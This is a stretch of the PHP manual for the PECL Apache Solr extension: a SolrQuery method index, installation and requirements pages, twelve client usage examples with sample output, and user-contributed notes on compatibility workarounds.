    • SolrModifiableParams::__destruct — Destructor
  • SolrQuery — The SolrQuery class
    • SolrQuery::addFacetDateField — Maps to facet.date
    • SolrQuery::addFacetDateOther — Adds another facet.date.other parameter
    • SolrQuery::addFacetField — Adds another field to the facet
    • SolrQuery::addFacetQuery — Adds a facet query
    • SolrQuery::addField — Specifies which fields to return in the result
    • SolrQuery::addFilterQuery — Specifies a filter query
    • SolrQuery::addHighlightField — Maps to hl.fl
    • SolrQuery::addMltField — Sets a field to use for similarity
    • SolrQuery::addMltQueryField — Maps to mlt.qf
    • SolrQuery::addSortField — Used to control how the results should be sorted
    • SolrQuery::addStatsFacet — Requests a return of sub results for values within the given facet
    • SolrQuery::addStatsField — Maps to stats.field parameter
    • SolrQuery::__construct — Constructor
    • SolrQuery::__destruct — Destructor
    • SolrQuery::getFacet — Returns the value of the facet parameter
    • SolrQuery::getFacetDateEnd — Returns the value for the facet.date.end parameter
    • SolrQuery::getFacetDateFields — Returns all the facet.date fields
    • SolrQuery::getFacetDateGap — Returns the value of the facet.date.gap parameter
    • SolrQuery::getFacetDateHardEnd — Returns the value of the facet.date.hardend parameter
    • SolrQuery::getFacetDateOther — Returns the value for the facet.date.other parameter
    • SolrQuery::getFacetDateStart — Returns the lower bound for the first date range for all date faceting on this field
    • SolrQuery::getFacetFields — Returns all the facet fields
    • SolrQuery::getFacetLimit — Returns the maximum number of constraint counts that should be returned for the facet fields
    • SolrQuery::getFacetMethod — Returns the value of the facet.method parameter
    • SolrQuery::getFacetMinCount — Returns the minimum counts for facet fields should be included in the response
    • SolrQuery::getFacetMissing — Returns the current state of the facet.missing parameter
    • SolrQuery::getFacetOffset — Returns an offset into the list of constraints to be used for pagination
    • SolrQuery::getFacetPrefix — Returns the facet prefix
    • SolrQuery::getFacetQueries — Returns all the facet queries
    • SolrQuery::getFacetSort — Returns the facet sort type
    • SolrQuery::getFields — Returns the list of fields that will be returned in the response
    • SolrQuery::getFilterQueries — Returns an array of filter queries
    • SolrQuery::getHighlight — Returns the state of the hl parameter
    • SolrQuery::getHighlightAlternateField — Returns the highlight field to use as backup or default
    • SolrQuery::getHighlightFields — Returns all the fields that Solr should generate highlighted snippets for
    • SolrQuery::getHighlightFormatter — Returns the formatter for the highlighted output
    • SolrQuery::getHighlightFragmenter — Returns the text snippet generator for highlighted text
    • SolrQuery::getHighlightFragsize — Returns the number of characters of fragments to consider for highlighting
    • SolrQuery::getHighlightHighlightMultiTerm — Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries
    • SolrQuery::getHighlightMaxAlternateFieldLength — Returns the maximum number of characters of the field to return
    • SolrQuery::getHighlightMaxAnalyzedChars — Returns the maximum number of characters into a document to look for suitable snippets
    • SolrQuery::getHighlightMergeContiguous — Returns whether or not the collapse contiguous fragments into a single fragment
    • SolrQuery::getHighlightRegexMaxAnalyzedChars — Returns the maximum number of characters from a field when using the regex fragmenter
    • SolrQuery::getHighlightRegexPattern — Returns the regular expression for fragmenting
    • SolrQuery::getHighlightRegexSlop — Returns the deviation factor from the ideal fragment size
    • SolrQuery::getHighlightRequireFieldMatch — Returns if a field will only be highlighted if the query matched in this particular field
    • SolrQuery::getHighlightSimplePost — Returns the text which appears after a highlighted term
    • SolrQuery::getHighlightSimplePre — Returns the text which appears before a highlighted term
    • SolrQuery::getHighlightSnippets — Returns the maximum number of highlighted snippets to generate per field
    • SolrQuery::getHighlightUsePhraseHighlighter — Returns the state of the hl.usePhraseHighlighter parameter
    • SolrQuery::getMlt — Returns whether or not MoreLikeThis results should be enabled
    • SolrQuery::getMltBoost — Returns whether or not the query will be boosted by the interesting term relevance
    • SolrQuery::getMltCount — Returns the number of similar documents to return for each result
    • SolrQuery::getMltFields — Returns all the fields to use for similarity
    • SolrQuery::getMltMaxNumQueryTerms — Returns the maximum number of query terms that will be included in any generated query
    • SolrQuery::getMltMaxNumTokens — Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support
    • SolrQuery::getMltMaxWordLength — Returns the maximum word length above which words will be ignored
    • SolrQuery::getMltMinDocFrequency — Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs
    • SolrQuery::getMltMinTermFrequency — Returns the frequency below which terms will be ignored in the source document
    • SolrQuery::getMltMinWordLength — Returns the minimum word length below which words will be ignored
    • SolrQuery::getMltQueryFields — Returns the query fields and their boosts
    • SolrQuery::getQuery — Returns the main query
    • SolrQuery::getRows — Returns the maximum number of documents
    • SolrQuery::getSortFields — Returns all the sort fields
    • SolrQuery::getStart — Returns the offset in the complete result set
    • SolrQuery::getStats — Returns whether or not stats is enabled
    • SolrQuery::getStatsFacets — Returns all the stats facets that were set
    • SolrQuery::getStatsFields — Returns all the statistics fields
    • SolrQuery::getTerms — Returns whether or not the TermsComponent is enabled
    • SolrQuery::getTermsField — Returns the field from which the terms are retrieved
    • SolrQuery::getTermsIncludeLowerBound — Returns whether or not to include the lower bound in the result set
    • SolrQuery::getTermsIncludeUpperBound — Returns whether or not to include the upper bound term in the result set
    • SolrQuery::getTermsLimit — Returns the maximum number of terms Solr should return
    • SolrQuery::getTermsLowerBound — Returns the term to start at
    • SolrQuery::getTermsMaxCount — Returns the maximum document frequency
    • SolrQuery::getTermsMinCount — Returns the minimum document frequency to return in order to be included
    • SolrQuery::getTermsPrefix — Returns the term prefix
    • SolrQuery::getTermsReturnRaw — Whether or not to return raw characters
    • SolrQuery::getTermsSort — Returns an integer indicating how terms are sorted
    • SolrQuery::getTermsUpperBound — Returns the term to stop at
    • SolrQuery::getTimeAllowed — Returns the time in milliseconds allowed for the query to finish
    • SolrQuery::removeFacetDateField — Removes one of the facet date fields
    • SolrQuery::removeFacetDateOther — Removes one of the facet.date.other parameters
    • SolrQuery::removeFacetField — Removes one of the facet.date parameters
    • SolrQuery::removeFacetQuery — Removes one of the facet.query parameters
    • SolrQuery::removeField — Removes a field from the list of fields
    • SolrQuery::removeFilterQuery — Removes a filter query
    • SolrQuery::removeHighlightField — Removes one of the fields used for highlighting
    • SolrQuery::removeMltField — Removes one of the moreLikeThis fields
    • SolrQuery::removeMltQueryField — Removes one of the moreLikeThis query fields
    • SolrQuery::removeSortField — Removes one of the sort fields
    • SolrQuery::removeStatsFacet — Removes one of the stats.facet parameters
    • SolrQuery::removeStatsField — Removes one of the stats.field parameters
    • SolrQuery::setEchoHandler — Toggles the echoHandler parameter
    • SolrQuery::setEchoParams — Determines what kind of parameters to include in the response
    • SolrQuery::setExplainOther — Sets the explainOther common query parameter
    • SolrQuery::setFacet — Maps to the facet parameter. Enables or disables facetting
    • SolrQuery::setFacetDateEnd — Maps to facet.date.end
    • SolrQuery::setFacetDateGap — Maps to facet.date.gap
    • SolrQuery::setFacetDateHardEnd — Maps to facet.date.hardend
    • SolrQuery::setFacetDateStart — Maps to facet.date.start
    • SolrQuery::setFacetEnumCacheMinDefaultFrequency — Sets the minimum document frequency used for determining term count
    • SolrQuery::setFacetLimit — Maps to facet.limit
    • SolrQuery::setFacetMethod — Specifies the type of algorithm to use when faceting a field
    • SolrQuery::setFacetMinCount — Maps to facet.mincount
    • SolrQuery::setFacetMissing — Maps to facet.missing
    • SolrQuery::setFacetOffset — Sets the offset into the list of constraints to allow for pagination
    • SolrQuery::setFacetPrefix — Specifies a string prefix with which to limits the terms on which to facet
    • SolrQuery::setFacetSort — Determines the ordering of the facet field constraints
    • SolrQuery::setHighlight — Enables or disables highlighting
    • SolrQuery::setHighlightAlternateField — Specifies the backup field to use
    • SolrQuery::setHighlightFormatter — Specify a formatter for the highlight output
    • SolrQuery::setHighlightFragmenter — Sets a text snippet generator for highlighted text
    • SolrQuery::setHighlightFragsize — The size of fragments to consider for highlighting
    • SolrQuery::setHighlightHighlightMultiTerm — Use SpanScorer to highlight phrase terms
    • SolrQuery::setHighlightMaxAlternateFieldLength — Sets the maximum number of characters of the field to return
    • SolrQuery::setHighlightMaxAnalyzedChars — Specifies the number of characters into a document to look for suitable snippets
    • SolrQuery::setHighlightMergeContiguous — Whether or not to collapse contiguous fragments into a single fragment
    • SolrQuery::setHighlightRegexMaxAnalyzedChars — Specify the maximum number of characters to analyze
    • SolrQuery::setHighlightRegexPattern — Specify the regular expression for fragmenting
    • SolrQuery::setHighlightRegexSlop — Sets the factor by which the regex fragmenter can stray from the ideal fragment size
    • SolrQuery::setHighlightRequireFieldMatch — Require field matching during highlighting
    • SolrQuery::setHighlightSimplePost — Sets the text which appears after a highlighted term
    • SolrQuery::setHighlightSimplePre — Sets the text which appears before a highlighted term
    • SolrQuery::setHighlightSnippets — Sets the maximum number of highlighted snippets to generate per field
    • SolrQuery::setHighlightUsePhraseHighlighter — Whether to highlight phrase terms only when they appear within the query phrase
    • SolrQuery::setMlt — Enables or disables moreLikeThis
    • SolrQuery::setMltBoost — Set if the query will be boosted by the interesting term relevance
    • SolrQuery::setMltCount — Set the number of similar documents to return for each result
    • SolrQuery::setMltMaxNumQueryTerms — Sets the maximum number of query terms included
    • SolrQuery::setMltMaxNumTokens — Specifies the maximum number of tokens to parse
    • SolrQuery::setMltMaxWordLength — Sets the maximum word length
    • SolrQuery::setMltMinDocFrequency — Sets the mltMinDoc frequency
    • SolrQuery::setMltMinTermFrequency — Sets the frequency below which terms will be ignored in the source docs
    • SolrQuery::setMltMinWordLength — Sets the minimum word length
    • SolrQuery::setOmitHeader — Exclude the header from the returned results
    • SolrQuery::setQuery — Sets the search query
    • SolrQuery::setRows — Specifies the maximum number of rows to return in the result
    • SolrQuery::setShowDebugInfo — Flag to show debug information
    • SolrQuery::setStart — Specifies the number of rows to skip
    • SolrQuery::setStats — Enables or disables the Stats component
    • SolrQuery::setTerms — Enables or disables the TermsComponent
    • SolrQuery::setTermsField — Sets the name of the field to get the Terms from
    • SolrQuery::setTermsIncludeLowerBound — Include the lower bound term in the result set
    • SolrQuery::setTermsIncludeUpperBound — Include the upper bound term in the result set
    • SolrQuery::setTermsLimit — Sets the maximum number of terms to return
    • SolrQuery::setTermsLowerBound — Specifies the Term to start from
    • SolrQuery::setTermsMaxCount — Sets the maximum document frequency
    • SolrQuery::setTermsMinCount — Sets the minimum document frequency
    • SolrQuery::setTermsPrefix — Restrict matches to terms that start with the prefix
    • SolrQuery::setTermsReturnRaw — Return the raw characters of the indexed term
    • SolrQuery::setTermsSort — Specifies how to sort the returned terms
    • SolrQuery::setTermsUpperBound — Sets the term to stop at
    • SolrQuery::setTimeAllowed — The time allowed for search to finish
  • SolrException — The SolrException class
    • SolrException::getInternalInfo — Returns internal information where the Exception was thrown
  • SolrClientException — The SolrClientException class
    • SolrClientException::getInternalInfo — Returns internal information where the Exception was thrown
  • SolrServerException — The SolrServerException class
    • SolrServerException::getInternalInfo — Returns internal information where the Exception was thrown
  • SolrIllegalArgumentException — The SolrIllegalArgumentException class
    • SolrIllegalArgumentException::getInternalInfo — Returns internal information where the Exception was thrown
  • SolrIllegalOperationException — The SolrIllegalOperationException class
    • SolrIllegalOperationException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

mleczunio at yopmail dot com 14-Feb-2014 05:54
So, could ANYONE tell why this extension alwys ends with fatal error instead of exceptions? Examples:
Multi values tried to set on non-multivalued field
setQuery(): Invalid parameter value

Those are fatal errors! What is wrong with this extension?
Corentin Larose 21-Sep-2012 11:56
Hello,

you have to use SolrQuery::addFilterQuery() instead of SolrQuery::addFacetQuery() which is intended for another goal.

SolrQuery::addFilterQuery() : fq
SolrQuery::addFacetQuery() : facet.query

Regards,

Corentin Larose - CTO@QAPA
mixwise at gmail dot com 19-Sep-2011 03:19
solr_get_version(): 1.0.1
solr:3.3.0

I had problems trying to pass facet queries(fq not facet.query) using this extension.

So I made a work around by extending the SolrQuery class and adding a new method for fq.
<?php
class SolrQuery2 extends SolrQuery{
    public function addFQ($facetQuery){
        $this->addParam('fq', $facetQuery);
    }
}
?>


Introduction

The Solr extension allows you to communicate effectively with the Apache Solr server in PHP 5.

The Solr extension is an extremely fast, light-weight, feature-rich library that allows PHP developers to communicate effectively with Solr server instances.

It is compatible with both versions 1.3 and 1.4 of Apache Solr.

There are built-in tools to add documents and make updates to the solr server.

It also contains tools that allows you to build advanced queries to the server when searching for documents.

User Contributed Notes

peter at softcoded dot com 02-Jul-2012 01:08
For more up to date information see: http://pecl.php.net/package/solr

"It [the  Apache Solr PHP extension] effectively simplifies the process of interacting with Apache Solr using PHP5 and it already comes with built-in readiness for the latest features added in Solr 3.1 ..."


Requirements

PHP version 5.2.11 or later is required.

The libxml and curl extensions must also be enabled for the Apache Solr extension to be available.

libxml2 2.6.31 or later is required.

libcurl 7.18.0 or later is also required.

The above library versions are required and attempting to hack the code to make it compile is strongly discouraged. It will fail, possibly with errors that could be hard to debug

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/solr.

For help and support, please visit the extension google group. » Apache Solr PHP Extension

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Note:

The solr module can be compiled in debug mode by passing the --enable-solr-debug flag to configure

When building manually, be sure to include curl and libxml support within the build.

User Contributed Notes

regan 10-Dec-2009 12:19
If you want to add the Solr extension to your exisiting PHP install, you need to make sure you use the same API to build the extension as was used to build PHP or you'll get errors like:

PHP Warning:  PHP Startup: solr: Unable to initialize module\nModule compiled with module API=20060613\nPHP    compiled with module API=20090626\nThese options need to match\n in Unknown on line 0

To avoid this, use your existing phpize and php-config when compiling the extension (change the '/usr/local/php5/' below to whatever your existing path is.)

/usr/local/php5/bin/phpize
./configure --with-php-config=/usr/local/php5/bin/php-config
make
make test
make install


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SOLR_MAJOR_VERSION (integer)
SOLR_MINOR_VERSION (integer)
SOLR_PATCH_VERSION (integer)
SOLR_EXTENSION_VERSION (string)

User Contributed Notes

There are no user contributed notes for this page.


Solr Functions

Table of Contents

  • solr_get_version — Returns the current version of the Apache Solr extension

User Contributed Notes

There are no user contributed notes for this page.


Returns the current version of the Apache Solr extension

  • « Solr Functions
  • Examples »
  • PHP Manual
  • Solr Functions
  • Returns the current version of the Apache Solr extension

solr_get_version

(PECL solr >= 0.9.1)

solr_get_version — Returns the current version of the Apache Solr extension

Description

string solr_get_version ( void )

This function returns the current version of the extension as a string.

Parameters

This function has no parameters.

Return Values

It returns a string on success and FALSE on failure.

Errors/Exceptions

This function throws no errors or exceptions.

Examples

Example #1 solr_get_version() example

<?php

$solr_version = solr_get_version();

print $solr_version;

?>

The above example will output something similar to:

0.9.6

See Also

  • SolrUtils::getSolrVersion() - Returns the current version of the Solr extension

User Contributed Notes

There are no user contributed notes for this page.


Examples

Examples of how to use the Apache Solr extension in PHP

Example #1 Contents of the BootStrap file

<?php

/* Domain name of the Solr server */
define('SOLR_SERVER_HOSTNAME', 'solr.example.com');

/* Whether or not to run in secure mode */
define('SOLR_SECURE', true);

/* HTTP Port to connection */
define('SOLR_SERVER_PORT', ((SOLR_SECURE) ? 8443 : 8983));

/* HTTP Basic Authentication Username */
define('SOLR_SERVER_USERNAME', 'admin');

/* HTTP Basic Authentication password */
define('SOLR_SERVER_PASSWORD', 'changeit');

/* HTTP connection timeout */
/* This is maximum time in seconds allowed for the http data transfer operation. Default value is 30 seconds */
define('SOLR_SERVER_TIMEOUT', 10);

/* File name to a PEM-formatted private key + private certificate (concatenated in that order) */
define('SOLR_SSL_CERT', 'certs/combo.pem');

/* File name to a PEM-formatted private certificate only */
define('SOLR_SSL_CERT_ONLY', 'certs/solr.crt');

/* File name to a PEM-formatted private key */
define('SOLR_SSL_KEY', 'certs/solr.key');

/* Password for PEM-formatted private key file */
define('SOLR_SSL_KEYPASSWORD', 'StrongAndSecurePassword');

/* Name of file holding one or more CA certificates to verify peer with*/
define('SOLR_SSL_CAINFO', 'certs/cacert.crt');

/* Name of directory holding multiple CA certificates to verify peer with */
define('SOLR_SSL_CAPATH', 'certs/');

?>

Example #2 Adding a document to the index

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$updateResponse = $client->addDocument($doc);

print_r($updateResponse->getResponse());

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 446
        )

)

Example #3 Merging one document into another document

<?php

include "bootstrap.php";

$doc = new SolrDocument();

$second_doc = new SolrDocument();

$doc->addField('id', 1123);

$doc->features = "PHP Client Side";
$doc->features = "Fast development cycles";

$doc['cat'] = 'Software';
$doc['cat'] = 'Custom Search';
$doc->cat   = 'Information Technology';

$second_doc->addField('cat', 'Lucene Search');

$second_doc->merge($doc, true);

print_r($second_doc->toArray());

?>

The above example will output something similar to:

Array
(
    [document_boost] => 0
    [field_count] => 3
    [fields] => Array
        (
            [0] => SolrDocumentField Object
                (
                    [name] => cat
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => Software
                            [1] => Custom Search
                            [2] => Information Technology
                        )

                )

            [1] => SolrDocumentField Object
                (
                    [name] => id
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => 1123
                        )

                )

            [2] => SolrDocumentField Object
                (
                    [name] => features
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => PHP Client Side
                            [1] => Fast development cycles
                        )

                )

        )

)

Example #4 Searching for documents - SolrObject responses

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('lucene');

$query->setStart(0);

$query->setRows(50);

$query->addField('cat')->addField('features')->addField('id')->addField('timestamp');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response);

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [wt] => xml
                    [rows] => 50
                    [start] => 0
                    [indent] => on
                    [q] => lucene
                    [fl] => cat,features,id,timestamp
                    [version] => 2.2
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 3
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [cat] => Array
                                (
                                    [0] => Software
                                    [1] => Lucene
                                )

                            [id] => 334456
                        )

                    [1] => SolrObject Object
                        (
                            [cat] => Array
                                (
                                    [0] => Software
                                    [1] => Lucene
                                )

                            [id] => 334455
                        )

                    [2] => SolrObject Object
                        (
                            [cat] => Array
                                (
                                    [0] => software
                                    [1] => search
                                )

                            [features] => Array
                                (
                                    [0] => Advanced Full-Text Search Capabilities using Lucene
                                    [1] => Optimized for High Volume Web Traffic
                                    [2] => Standards Based Open Interfaces - XML and HTTP
                                    [3] => Comprehensive HTML Administration Interfaces
                                    [4] => Scalability - Efficient Replication to other Solr Search Servers
                                    [5] => Flexible and Adaptable with XML configuration and Schema
                                    [6] => Good unicode support: héllo (hello with an accent over the e)
                                )

                            [id] => SOLR1000
                            [timestamp] => 2009-09-04T20:38:55.906
                        )

                )

        )

)

Example #5 Searching for documents - SolrDocument responses

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('lucene');

$query->setStart(0);

$query->setRows(50);

$query->addField('cat')->addField('features')->addField('id')->addField('timestamp');

$query_response = $client->query($query);

$query_response->setParseMode(SolrQueryResponse::PARSE_SOLR_DOC);

$response = $query_response->getResponse();

print_r($response);

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [wt] => xml
                    [rows] => 50
                    [start] => 0
                    [indent] => on
                    [q] => lucene
                    [fl] => cat,features,id,timestamp
                    [version] => 2.2
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 3
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrDocument Object
                        (
                            [_hashtable_index:SolrDocument:private] => 19740
                        )

                    [1] => SolrDocument Object
                        (
                            [_hashtable_index:SolrDocument:private] => 25485
                        )

                    [2] => SolrDocument Object
                        (
                            [_hashtable_index:SolrDocument:private] => 25052
                        )

                )

        )

)

Example #6 Simple TermsComponent example - basic

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setTerms(true);

$query->setTermsField('cat');

$updateResponse = $client->query($query);

print_r($updateResponse->getResponse());

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 2
        )

    [terms] => SolrObject Object
        (
            [cat] => SolrObject Object
                (
                    [electronics] => 14
                    [Lucene] => 4
                    [Software] => 4
                    [memory] => 3
                    [card] => 2
                    [connector] => 2
                    [drive] => 2
                    [graphics] => 2
                    [hard] => 2
                    [monitor] => 2
                )

        )

)

Example #7 Simple TermsComponent example - using a prefix

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setTerms(true);

/* Return only terms starting with $prefix */
$prefix = 'c';

$query->setTermsField('cat')->setTermsPrefix($prefix);

$updateResponse = $client->query($query);

print_r($updateResponse->getResponse());

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
        )

    [terms] => SolrObject Object
        (
            [cat] => SolrObject Object
                (
                    [card] => 2
                    [connector] => 2
                    [camera] => 1
                    [copier] => 1
                )

        )

)

Example #8 Simple TermsComponent example - specifying a minimum frequency

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setTerms(true);

/* Return only terms starting with $prefix */
$prefix = 'c';

/* Return only terms with a frequency of 2 or greater */
$min_frequency = 2;

$query->setTermsField('cat')->setTermsPrefix($prefix)->setTermsMinCount($min_frequency);

$updateResponse = $client->query($query);

print_r($updateResponse->getResponse());

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 0
        )

    [terms] => SolrObject Object
        (
            [cat] => SolrObject Object
                (
                    [card] => 2
                    [connector] => 2
                )

        )

)

Example #9 Simple Facet Example

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetField('cat')->addFacetField('name')->setFacetMinCount(2);

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_fields;

print_r($facet_data);

?>

The above example will output something similar to:

SolrObject Object
(
    [cat] => SolrObject Object
        (
            [electronics] => 14
            [memory] => 3
            [Lucene] => 2
            [Software] => 2
            [card] => 2
            [connector] => 2
            [drive] => 2
            [graphics] => 2
            [hard] => 2
            [monitor] => 2
            [search] => 2
            [software] => 2
        )

    [name] => SolrObject Object
        (
            [gb] => 6
            [1] => 3
            [184] => 3
            [2] => 3
            [3200] => 3
            [400] => 3
            [500] => 3
            [ddr] => 3
            [i] => 3
            [ipod] => 3
            [memori] => 3
            [pc] => 3
            [pin] => 3
            [pod] => 3
            [sdram] => 3
            [system] => 3
            [unbuff] => 3
            [canon] => 2
            [corsair] => 2
            [drive] => 2
            [hard] => 2
            [mb] => 2
            [n] => 2
            [power] => 2
            [retail] => 2
            [video] => 2
            [x] => 2
        )

)

Example #10 Simple Facet Example - with optional field override for mincount

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetField('cat')->addFacetField('name')->setFacetMinCount(2)->setFacetMinCount(4, 'name');

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_fields;

print_r($facet_data);

?>

The above example will output something similar to:

SolrObject Object
(
    [cat] => SolrObject Object
        (
            [electronics] => 14
            [memory] => 3
            [Lucene] => 2
            [Software] => 2
            [card] => 2
            [connector] => 2
            [drive] => 2
            [graphics] => 2
            [hard] => 2
            [monitor] => 2
            [search] => 2
            [software] => 2
        )

    [name] => SolrObject Object
        (
            [gb] => 6
        )

)

Example #11 Facet Date Example

<?php

include "bootstrap.php";

$options = array
(
        'hostname' => SOLR_SERVER_HOSTNAME,
        'login'    => SOLR_SERVER_USERNAME,
        'password' => SOLR_SERVER_PASSWORD,
        'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetDateField('manufacturedate_dt');

$query->setFacetDateStart('2006-02-13T00:00:00Z');

$query->setFacetDateEnd('2012-02-13T00:00:00Z');

$query->setFacetDateGap('+1YEAR');

$query->setFacetDateHardEnd(1);

$query->addFacetDateOther('before');

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_dates;

print_r($facet_data);

?>

The above example will output something similar to:

SolrObject Object
(
    [manufacturedate_dt] => SolrObject Object
        (
            [2006-02-13T00:00:00Z] => 9
            [2007-02-13T00:00:00Z] => 0
            [2008-02-13T00:00:00Z] => 0
            [2009-02-13T00:00:00Z] => 0
            [2010-02-13T00:00:00Z] => 0
            [2011-02-13T00:00:00Z] => 0
            [gap] => +1YEAR
            [start] => 2006-02-13T00:00:00Z
            [end] => 2012-02-13T00:00:00Z
            [before] => 2
        )

)

Example #12 Connecting to SSL-Enabled Server

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
    'timeout'  => SOLR_SERVER_TIMEOUT,
    'secure'   => SOLR_SECURE,
    'ssl_cert' => SOLR_SSL_CERT_ONLY,
    'ssl_key'  => SOLR_SSL_KEY,
    'ssl_keypassword' => SOLR_SSL_KEYPASSWORD,
    'ssl_cainfo' => SOLR_SSL_CAINFO,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetField('cat')->addFacetField('name')->setFacetMinCount(2)->setFacetMinCount(4, 'name');

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_fields;

print_r($facet_data);

?>

The above example will output something similar to:

SolrObject Object
(
    [cat] => SolrObject Object
        (
            [electronics] => 14
            [memory] => 3
            [Lucene] => 2
            [Software] => 2
            [card] => 2
            [connector] => 2
            [drive] => 2
            [graphics] => 2
            [hard] => 2
            [monitor] => 2
            [search] => 2
            [software] => 2
        )

    [name] => SolrObject Object
        (
            [gb] => 6
        )

)

User Contributed Notes

tomanr1 at wp dot pl 18-Dec-2013 07:22
In case someone would like to use this solrClient with solr v.4.0 and higher i've prepared my own commit function

class solr {
        public function delete($query ) {
                $this->_client->deleteByQuery($query);
                $this->commit();
        }

        public function commit() {
                $solrConfig= // array with solr host, port, path to collection (/solr/my_collection),
                $solrAddress = $solrConfig['hostname'] . ':' . $solrConfig['port'] . $solrConfig['path'];
                $output = array();
                $response = exec('curl ' . $solrAddress . '/update?commit=true', $output);
                return $output;
        }
}
tsengmeat at gmail dot com 12-Oct-2013 11:24
As of solr 4.0 the waitFlush parameter is removed.
If you're using the solr 4.0 or later version (and you have to),when you do this
<?php $client->commit(); ?>
you will get a solr error like this:
"Unknown commit parameter 'waitFlush'."

If you insist on using this PHP Solr extension and solr 4.0 or later version,you can edit the extension's source (version 1.0.2) php_solr_client.c.
for the SolrClient's optimize method:
at line 1490 :
  zend_bool waitFlush = 1, waitSearcher = 1;
  after edited:
  zend_bool waitSearcher = 1;
at line 1493:
  char *waitFlushValue, *waitSearcherValue;
  after edited:
  zend_bool waitSearcher = 1;
at line 1502:
  if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|sbb", &maxSegments, &maxSegmentsLen, &waitFlush, &waitSearcher) == FAILURE) {
  after editd:
  if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|sb", &maxSegments, &maxSegmentsLen, &waitSearcher) == FAILURE) {

remove the line 1509 and 1515.

And do the same edit for the SolrClient's commit method at line 1561,1564,1573 and remove the line 1580,1586

The final step, compile the code and install it.
Good luck!
cliff 15-Jun-2012 06:15
